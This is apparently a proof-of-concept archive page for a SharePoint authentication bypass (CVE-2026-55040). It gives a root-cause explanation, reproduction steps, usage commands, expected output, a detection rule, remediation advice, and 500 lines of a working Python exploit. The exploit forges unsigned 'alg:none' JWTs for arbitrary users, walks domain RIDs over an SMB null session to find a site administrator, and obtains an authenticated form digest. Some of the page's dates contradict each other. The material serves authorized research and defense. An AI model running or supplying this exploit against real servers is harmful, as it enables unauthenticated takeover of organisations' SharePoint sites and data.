PoC Archive PoC Archive
CVE-2026-55040 category: web CVSS 9.1 (CRITICAL) KEV EPSS 18%
Patched

Microsoft SharePoint JWT Authentication Bypass (CVE-2026-55040)

Published: 2026-11-27 • Researcher: Stephen Fewer (Rapid7 Labs)

Target software Microsoft SharePoint Server
Affected versions Microsoft SharePoint Server builds prior to 16.0.19725.20434 (NVD range, end excluding)
Status Weaponized
Severity Critical · CVSS 9.1
CVSS 9.1/10

Exploitation signals

KEV EPSS 18%

Confirmed exploited in the wild. Added to CISA KEV 2026-08-18. Federal remediation deadline 2026-08-21.

EPSS 17.5% · 98th percentile

Severity
Critical
CVE
CVE-2026-55040
Category
web
Affected product
Microsoft SharePoint Server
Affected versions
Microsoft SharePoint Server builds prior to 16.0.19725.20434 (NVD range, end excluding)
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-08-10
Author / ResearcherStephen Fewer (Rapid7 Labs)
CVE / AdvisoryCVE-2026-55040
Categoryweb
SeverityCritical
CVSS Score9.1 (CVSSv3.1, NVD)
StatusWeaponized
Tagsauthentication-bypass, JWT, alg-none, SharePoint, Microsoft, unauthenticated, token-forgery, SID, UPN, CWE-1390
RelatedN/A

Affected Target

FieldValue
Software / SystemMicrosoft SharePoint Server
Versions AffectedMicrosoft SharePoint Server builds prior to 16.0.19725.20434 (NVD range, end excluding)
Language / PlatformPython 3 attacker script; target is Windows Server / IIS hosting SharePoint; curl required
Authentication RequiredNo (the flaw bypasses authentication)
Network Access RequiredYes

Summary

Microsoft SharePoint Server contains a weak authentication flaw that lets an unauthenticated network attacker present a JSON Web Token the server accepts as a trusted identity. The public PoC from Rapid7 Labs discovers the SharePoint realm and the STS signing certificate thumbprint from the metadata endpoint, then forges an unsigned token carrying an actor token, the “none” algorithm header, and an attacker-chosen security identifier or user principal name. A successful bypass returns the current SharePoint user object and a valid form digest, giving the attacker authenticated access as a site user or site administrator. CISA added the issue to its Known Exploited Vulnerabilities catalog on 2026-08-18.

Vulnerability Details

Root Cause

SharePoint’s security token service trusts the actor token embedded in a delegated JWT (the “actortoken” claim) and validates that actor token against the STS signing certificate identified by the x5t thumbprint. The outer token, however, is not required to carry a valid signature: a token whose header declares “alg”:“none” is still processed, so the identity claims in the outer payload (nameid, nii, upn or SID) are accepted without a cryptographic signature. Because the realm and the public signing certificate thumbprint are both published by the SharePoint STS metadata endpoint, an attacker can construct a syntactically valid token for any identity. This is classified by NVD as CWE-1390, weak authentication.

Attack Vector

The attacker needs network access to the SharePoint web front end. The PoC performs the following unauthenticated steps:

  1. Requests the STS metadata document at the layouts metadata endpoint to learn the realm GUID and the x5t thumbprint of the signing certificate.
  2. Optionally discovers the target host name from the NTLM challenge and the domain SID from an SMB null session using LSARPC, or takes a known SID or UPN directly.
  3. Builds an actor JWT and an outer JWT with the “none” algorithm, setting nameid and nii to an Active Directory SID, a UPN, or the local service identity.
  4. Sends the forged token as a Bearer Authorization header to the current-user API endpoint to confirm the identity, then to the context-info endpoint to obtain a form digest for post-authentication operations.

Impact

An unauthenticated attacker gains a SharePoint-authenticated session as an arbitrary user. If a site administrator SID or UPN is chosen, the attacker obtains site collection administration, which can be chained to further SharePoint post-authentication exploitation and, depending on configuration, code execution on the SharePoint server. The PoC’s SID iteration mode can discover a site administrator automatically by walking domain RIDs.

Environment / Lab Setup

Output
OS:          Linux or Windows attacker host
Target:      Microsoft SharePoint Server (unpatched, e.g. Subscription Edition
             build < 16.0.19725.20434) with an STS metadata endpoint reachable
Attacker:    Python 3.8+ with curl on PATH
Tools:       curl, python3, impacket (optional, only for SMB/LSARPC SID discovery)

Setup Steps

The upstream repository does not include lab build or installation instructions, and this entry does not add a lab harness. Reproduction requires an existing SharePoint deployment (or a lab VM built from Microsoft media) that is reachable over the network, plus either a known user SID/UPN, a domain controller reachable over SMB for SID discovery, or a certificate whose CN reveals the domain for the automatic UPN mode. Install the optional SMB dependency with python3 -m pipx install impacket as documented upstream.

Shell script
1
2
3
python3 CVE-2026-55040.py --help

python3 CVE-2026-55040.py --host WIN-79B765S1R4G --upn administrator@testdomain.local

Proof of Concept

Step-by-Step Reproduction

  1. Discover the realm and signing thumbprint — the script requests the layouts metadata endpoint over HTTPS and extracts the realm from the issuer claim and the x5t thumbprint from the embedded signing certificate.
  2. Choose an identity — pass a known SID with --sid, a known UPN with --upn, a domain controller with --domain-ip for automatic SID enumeration, or use the default local service identity.
  3. Forge the token — the script builds the actor token with RS256/x5t metadata and the outer token with the “none” algorithm, an hour-long window, and the trusted-for-delegation claim.
  4. Validate the bypass — the forged Bearer token is sent to the current-user endpoint; a 200 response containing the chosen login name confirms the bypass.
  5. Obtain a form digest — the same Bearer token is posted to the context-info endpoint and the returned form digest can be reused for authenticated SharePoint operations.

Exploit Code

See CVE-2026-55040.py in this folder. The upstream README with full usage examples is upstream-README.md.

Shell script
1
2
3
python3 CVE-2026-55040.py --host WIN-79B765S1R4G --upn administrator@testdomain.local

python3 CVE-2026-55040.py --host WIN-FG3H2SKPOTA.fritz.box --domain-ip 192.168.86.11

Expected Output

Output
======================================================================
Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
======================================================================

[1] Auto-discovery...
[+] Discovering x5t and realm from STS metadata...
  [*] x5t: a1g8DVePm6FB892C0AAB23-Wl7M
  [*] realm: 66aaa1e2-b658-41c4-8911-ff2d5bab5423
[+] Targeting: https://WIN-79B765S1R4G

[2] Forging JWT token...
  [+] Token forged (1047 bytes)

[3] Obtaining form digest...
  [+] Digest obtained.

With automatic SID enumeration the output also shows the RID walk, for example [+] RID 1605: SHAREPOINT\system (System Account) ** SITE ADMIN ** followed by the chosen site-admin SID.

Detection & Indicators of Compromise

Output

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"Possible SharePoint CVE-2026-55040 forged JWT"; \
  content:"Authorization|3a| Bearer"; http_header; \
  content:"eyJhbGciOiJub25l"; http_header; sid:90055040;)

Remediation

ActionDetail
PatchApply the Microsoft security update for CVE-2026-55040; SharePoint Server builds must be at or above 16.0.19725.20434.
WorkaroundRestrict external access to the SharePoint STS metadata endpoint and the SharePoint web front end until patched, and add a WAF/reverse-proxy rule that rejects Bearer JWTs whose header declares the “none” algorithm or that carry an unexpected actor token.
Config HardeningEnforce signed-token validation, monitor for unsolicited metadata endpoint access, review site collection administrators, and keep the SharePoint farm and its identity integration on supported builds.

References

Notes

Auto-prepared 2026-11-27 from https://github.com/sfewer-r7/CVE-2026-55040 (last upstream commit 2026-08-10, Stephen Fewer / Rapid7 Labs). Review verdict: genuine authentication-bypass PoC. The script performs the actual token forgery and validates the bypass against a live SharePoint service, so it was ingested; it is not a scanner or version checker. The upstream repository has no explicit license file, so the exploit is archived with attribution for authorized security research only. Limitations: the script’s final step after obtaining the form digest is an unfinished placeholder, so it demonstrates the authentication bypass rather than a full remote code execution chain; auto-SID discovery needs SMB/LSARPC reachability to a domain controller; UPN or SID modes need a valid identity; and the target must expose the STS metadata endpoint. CISA added this CVE to its KEV catalog on 2026-08-18. Run only against systems you own or have written authorization to test.

CVE-2026-55040.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
# Archived for authorized security research only.
# Source: https://github.com/sfewer-r7/CVE-2026-55040 (see README for attribution/license)
#
# Title: Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
#
# Example Usage:
# 
# This example targets a remote SharePoint server located at WIN-FG3H2SKPOTA.fritz.box and a remode Domain Controller (DC)
# located at 192.168.86.11. The DC is used to resolve the target Domain ID, so the exploit can enumerate domain users via SID's.
#
# $ python CVE-2026-55040.py --host WIN-FG3H2SKPOTA.fritz.box --domain-ip 192.168.86.11
# ======================================================================
# Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
# ======================================================================
# 
# [1] Auto-discovery...
# [+] Discovering x5t and realm from STS metadata...
#   [*] x5t: 84eAgzfNOtqgEPs8usO4Jr_0Zf8
#   [*] realm: 0e2603c3-5eef-4d0f-90ca-53ee9a7729a4
# [+] Discovering domain SID via SMB (192.168.86.11)...
#   [*] domain_sid: S-1-5-21-4203888158-2793536450-3921675298 (will iterate RIDs)
#   [*] DC differs from target; will discover SharePoint hostname separately
# [+] Targeting: https://WIN-FG3H2SKPOTA.fritz.box
# [+] Iterating RIDs to find site admin (500, then 1000-10000)...
#   [-] RID 500: no valid user
#   [-] RID 1000: no valid user
#   [-] RID 1050: no valid user
#   [-] RID 1100: no valid user
#   [-] RID 1150: no valid user
#   [-] RID 1200: no valid user
#   [-] RID 1250: no valid user
#   [-] RID 1300: no valid user
#   [-] RID 1350: no valid user
#   [-] RID 1400: no valid user
#   [-] RID 1450: no valid user
#   [-] RID 1500: no valid user
#   [-] RID 1550: no valid user
#   [-] RID 1600: no valid user
#   [+] RID 1602: i:0#.w|testdomain2\testuser1 (testuser1)
#   [+] RID 1605: SHAREPOINT\system (System Account) ** SITE ADMIN **
#   [+] Found site admin at RID 1605, stopping scan
# [+] Using site admin SID: S-1-5-21-4203888158-2793536450-3921675298-1605
# [+] Login: SHAREPOINT\system
# 
# [2] Forging JWT token...
#   [+] Token forged (1040 bytes)
# 
# [3] Obtaining form digest...
#   [+] Digest obtained.
#
import argparse
import base64
import hashlib
import json
import os
import socket
import ssl
import struct
import subprocess
import sys
import tempfile
import time

CURL_BIN = "curl.exe" if sys.platform == "win32" else "curl"

# Populated at runtime with ["--resolve", "host:port:ip"] so curl uses the
# target IP directly instead of relying on OS DNS (which fails on Linux for
# NetBIOS/short hostnames discovered via SMB or NTLM).
CURL_RESOLVE_ARGS = []

def curl(args: list, timeout: int = 60) -> str:
    """Execute curl and return stdout."""
    cmd = [CURL_BIN, "-sS", "-k", "--path-as-is"] + CURL_RESOLVE_ARGS + args
    result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
    if result.stderr:
        print(f"DEBUG STDERR:\n{result.stderr}")    
    return result.stdout


def xml_escape(s):
    """Escape XML special characters."""
    return (
        s.replace("&", "&amp;")
        .replace("<", "&lt;")
        .replace(">", "&gt;")
        .replace('"', "&quot;")
    )


def b64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()


def build_url(scheme: str, host: str, port: int = None, path: str = "") -> str:
    """Build a URL, including port only when non-standard."""
    default_port = 443 if scheme == "https" else 80
    if port and port != default_port:
        return f"{scheme}://{host}:{port}{path}"
    return f"{scheme}://{host}{path}"


def get_cert_names(host: str, port: int = None) -> dict:
    """Extract CN and SANs from the target's HTTPS certificate.

    Returns a dict with 'cn' (str) and 'sans' (list of str).
    Returns empty dict on failure.
    """
    port = port or 443
    result = {"cn": None, "sans": []}

    # First connection: grab the raw DER cert (no verification needed)
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    try:
        with socket.create_connection((host, port), timeout=10) as sock:
            with ctx.wrap_socket(sock, server_hostname=host) as ssock:
                der_cert = ssock.getpeercert(binary_form=True)
    except Exception as e:
        print(f"  [-] Could not connect to {host}:{port} for cert check: {e}")
        return result

    # Second connection: temporarily trust the cert so getpeercert()
    # returns the parsed dict with subject and subjectAltName fields
    pem_data = ssl.DER_cert_to_PEM_cert(der_cert)
    try:
        with tempfile.NamedTemporaryFile(mode="w", suffix=".pem", delete=False) as tmp:
            tmp.write(pem_data)
            tmp_path = tmp.name

        ctx2 = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        ctx2.load_verify_locations(tmp_path)
        ctx2.check_hostname = False
        ctx2.verify_mode = ssl.CERT_REQUIRED

        with socket.create_connection((host, port), timeout=10) as sock:
            with ctx2.wrap_socket(sock, server_hostname=host) as ssock:
                parsed = ssock.getpeercert()

        for rdn in parsed.get("subject", ()):
            for attr_type, attr_value in rdn:
                if attr_type == "commonName":
                    result["cn"] = attr_value.lower()

        for san_type, san_value in parsed.get("subjectAltName", ()):
            if san_type == "DNS":
                result["sans"].append(san_value.lower())

    except Exception as e:
        print(f"  [-] Cert parsing failed: {e}")
    finally:
        try:
            os.unlink(tmp_path)
        except Exception:
            pass

    return result


def discover_sts_metadata(target: str, port: int = None) -> dict:
    """Discover realm and x5t from the STS metadata endpoint.

    Fetches /_layouts/15/metadata/json/1 over HTTPS and extracts:
    - realm from the issuer string (format: <client_id>@<realm>)
    - x5t from the SHA-1 thumbprint of the signing certificate
    """
    url = build_url("https", target, port, "/_layouts/15/metadata/json/1")
    try:
        body = curl(["--connect-timeout", "10", url], timeout=15).strip()
    except subprocess.TimeoutExpired:
        return {}
    if not body or body.startswith("<"):
        return {}
    try:
        data = json.loads(body)
    except json.JSONDecodeError:
        return {}

    info = {}
    issuer = data.get("issuer", "")
    if "@" in issuer:
        parts = issuer.split("@", 1)
        if parts[1]:
            info["realm"] = parts[1]

    keys = data.get("keys", [])
    if keys:
        cert_b64 = (keys[0].get("keyValue") or {}).get("value")
        if cert_b64:
            cert_der = base64.b64decode(cert_b64)
            thumbprint = hashlib.sha1(cert_der).digest()
            info["x5t"] = b64url_encode(thumbprint)

    return info


def discover_via_smb(host: str, port: int = 445, timeout: int = 10) -> dict:
    """Discover host, SID, and FQDN via SMB null session + LSARPC.

    Returns a dict with keys: hostname, fqdn, domain_sid.
    Returns None on failure."""
    try:
        from impacket.smbconnection import SMBConnection
        from impacket.dcerpc.v5 import transport, lsat, lsad
        from impacket.dcerpc.v5.dtypes import NULL

        smb = SMBConnection(host, host, sess_port=port, timeout=timeout)
        smb.login("", "")

        result = {}
        result["hostname"] = smb.getServerName()
        try:
            result["fqdn"] = smb.getServerDNSHostName()
        except Exception:
            pass

        # Query domain SID via LSARPC
        rpctransport = transport.SMBTransport(
            host, port, r"\lsarpc", smb_connection=smb
        )
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(lsat.MSRPC_UUID_LSAT)

        request = lsad.LsarOpenPolicy2()
        request["SystemName"] = NULL
        request["ObjectAttributes"]["RootDirectory"] = NULL
        request["ObjectAttributes"]["ObjectName"] = NULL
        request["ObjectAttributes"]["SecurityDescriptor"] = NULL
        request["ObjectAttributes"]["SecurityQualityOfService"] = NULL
        request["DesiredAccess"] = 0x00000001  # POLICY_VIEW_LOCAL_INFORMATION

        resp = dce.request(request)
        policy_handle = resp["PolicyHandle"]

        request2 = lsad.LsarQueryInformationPolicy()
        request2["PolicyHandle"] = policy_handle
        request2["InformationClass"] = 5  # PolicyAccountDomainInformation

        resp2 = dce.request(request2)

        try:
            info = resp2["PolicyInformation"]["PolicyAccountDomainInfo"]
            result["domain_sid"] = info["DomainSid"].formatCanonical()
        except TypeError:
            raw_data = resp2.getData()
            for i in range(len(raw_data) - 12):
                if (
                    raw_data[i] == 0x01
                    and raw_data[i + 2 : i + 8] == b"\x00\x00\x00\x00\x00\x05"
                ):
                    sub_count = raw_data[i + 1]
                    if 1 <= sub_count <= 15:
                        revision = raw_data[i]
                        authority = struct.unpack_from(
                            ">Q", b"\x00\x00" + raw_data[i + 2 : i + 8]
                        )[0]
                        parts = [f"S-{revision}-{authority}"]
                        for j in range(sub_count):
                            sa = struct.unpack_from("<I", raw_data, i + 8 + j * 4)[0]
                            parts.append(str(sa))
                        result["domain_sid"] = "-".join(parts)
                        break

        try:
            close_req = lsad.LsarClose()
            close_req["ObjectHandle"] = policy_handle
            dce.request(close_req)
        except Exception:
            pass

        dce.disconnect()
        smb.logoff()
        return result if result.get("domain_sid") else None

    except ImportError:
        print("  [-] impacket not installed; SMB discovery unavailable")
        return None
    except Exception as e:
        print(f"  [-] SMB discovery failed: {e}")
        return None


def discover_hostname_from_ntlm(target: str, port: int = None) -> dict:
    """Fallback: discover host and FQDN from NTLM Type 2 challenge over HTTPS."""
    type1 = "TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAKABhKAAAADw=="
    url = build_url("https", target, port, "/")
    try:
        output = curl(["-i", "-H", f"Authorization: NTLM {type1}", url], timeout=15)
    except subprocess.TimeoutExpired:
        return {}

    info = {}
    for line in output.splitlines():
        if "WWW-Authenticate: NTLM " in line:
            ntlm_b64 = line.split("NTLM ")[1].strip()
            data = base64.b64decode(ntlm_b64)
            ti_len = struct.unpack("<H", data[40:42])[0]
            ti_off = struct.unpack("<H", data[44:46])[0]
            target_info = data[ti_off : ti_off + ti_len]
            pos = 0
            while pos < len(target_info) - 4:
                avid = struct.unpack("<H", target_info[pos : pos + 2])[0]
                avlen = struct.unpack("<H", target_info[pos + 2 : pos + 4])[0]
                if avid == 0:
                    break
                val = target_info[pos + 4 : pos + 4 + avlen].decode(
                    "utf-16-le", errors="ignore"
                )
                if avid == 1:
                    info["hostname"] = val
                elif avid == 3:
                    info["fqdn"] = val
                pos += 4 + avlen
            break
    return info


def forge_jwt(
    host: str, realm: str, x5t: str, nameid: str, nii: str, extra_claims: dict = None
) -> str:
    """Forge a JWT token using the alg:none bypass.

    Supports SID-based identity (nameid=SID), UPN-based identity
    (nameid=dummy + extra_claims with 'upn' key), or AccessToken identity
    (nameid=claims identity string, nii='AccessToken').
    """
    now = int(time.time())
    cid = "00000003-0000-0ff1-ce00-000000000000"
    issuer = f"{cid}@{realm}"

    actor_header = {"alg": "RS256", "typ": "JWT", "x5t": x5t}
    actor_payload = {
        "iss": issuer,
        "nameid": issuer,
        "nbf": now - 300,
        "exp": now + 3600,
    }
    actor_jwt = (
        b64url_encode(json.dumps(actor_header).encode())
        + "."
        + b64url_encode(json.dumps(actor_payload).encode())
        + ".AAAA"
    )

    main_header = {"alg": "none", "typ": "JWT"}
    main_payload = {
        "aud": f"{cid}/{host.split('.')[0]}@{realm}",
        "iss": issuer,
        "nbf": now - 300,
        "exp": now + 3600,
        "nameid": nameid,
        "nii": nii,
        "trustedfordelegation": "true",
        "actortoken": actor_jwt,
    }
    if extra_claims:
        main_payload.update(extra_claims)

    return (
        b64url_encode(json.dumps(main_header).encode())
        + "."
        + b64url_encode(json.dumps(main_payload).encode())
        + "."
    )


def check_sid_for_admin(host: str, realm: str, x5t: str, sid: str,
                       scheme: str = "https", port: int = None) -> dict:
    """Forge a JWT for the given SID and check /_api/web/currentuser.

    Returns a dict with 'login_name', 'title', 'is_site_admin', 'sid'
    on success, or None if the SID doesn't resolve to a valid user."""
    token = forge_jwt(host, realm, x5t, sid, "urn:office:idp:activedirectory")
    url = build_url(scheme, host, port, "/_api/web/currentuser")
    stdout = curl([
        "-X", "GET",
        "-H", f"Host: {host.split('.')[0]}",
        "-H", f"Authorization: Bearer {token}",
        "-H", "Accept: application/json;odata=verbose",
        url,
    ], timeout=30)
    try:
        data = json.loads(stdout)
    except (json.JSONDecodeError, ValueError):
        return None
    d = data.get("d", {})
    if "LoginName" not in d:
        return None
    return {
        "login_name": d.get("LoginName", ""),
        "title": d.get("Title", "?"),
        "is_site_admin": d.get("IsSiteAdmin", False),
        "sid": sid,
    }


def get_digest(base_url: str, token: str, host: str = None) -> str:
    """Get form digest value using JWT auth."""
    headers = [
        "-H", f"Authorization: Bearer {token}",
        "-H", "Accept: application/json",
        "-H", "Content-Length: 0",
    ]
    if host:
        headers += ["-H", f"Host: {host.split('.')[0]}"]
    stdout = curl([
        "-X", "POST",
    ] + headers + [
        f"{base_url}/_api/contextinfo",
    ])
    try:
        return json.loads(stdout)["FormDigestValue"]
    except (json.JSONDecodeError, KeyError):
        print(f"[-] Failed to get digest. Response: {stdout[:300]}")
        sys.exit(1)


def main():
    parser = argparse.ArgumentParser(
        description="Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)"
    )

    parser.add_argument(
        "--target", help="Target IP address (auto-discovers all params)"
    )
    parser.add_argument("--host", help="SharePoint hostname (auto-discovered)")
    parser.add_argument(
        "--x5t", help="STS signing cert x5t (auto-discovered from metadata)"
    )
    parser.add_argument(
        "--realm", help="SharePoint realm GUID (auto-discovered from metadata)"
    )
    parser.add_argument(
        "--sid", help="Windows SID for identity (auto-discovered via LSARPC)"
    )
    parser.add_argument(
        "--upn",
        help="UPN for identity, e.g. administrator@domain.local "
        "(alternative to --sid, no SMB needed)",
    )
    parser.add_argument(
        "--auto-upn",
        action="store_true",
        help="Auto-construct UPN from HTTPS cert domain "
        "(no SMB needed; derives host from cert)",
    )
    parser.add_argument(
        "--username",
        default="administrator",
        help="Username for --auto-upn (default: administrator)",
    )
    parser.add_argument(
        "--rid",
        type=int,
        default=None,
        help="Specific RID to use (skips iteration). "
        "If not set, auto-SID iterates 500 then 1000+ to find a site admin",
    )
    parser.add_argument(
        "--max-rid",
        type=int,
        default=10000,
        help="Max RID to try during auto-SID iteration (default: 10000)",
    )
    parser.add_argument(
        "--port",
        type=int,
        default=None,
        help="Non-standard port for target web service "
        "(default: 443 for HTTPS, 80 for HTTP)",
    )
    parser.add_argument(
        "--domain-ip",
        default=None,
        help="Domain controller IP for SMB/LSARPC discovery "
        "(default: same as --target). Use when the DC is a different "
        "system than the SharePoint server",
    )
    parser.add_argument(
        "--http",
        action="store_true",
        help="Use HTTP instead of HTTPS (disables auto-discovery; "
        "must supply --host, --x5t, --realm, --sid manually)",
    )

    args = parser.parse_args()

    use_http = args.http
    use_upn = args.upn or args.auto_upn
    use_sid = args.sid or args.domain_ip
    port = args.port
    target = args.target or args.host
    if not target:
        print("[-] Must specify --target or --host")
        sys.exit(1)
    domain_ip = args.domain_ip or target

    print("=" * 70)
    print(parser.description)
Showing 500 of 712 lines View full file on GitHub →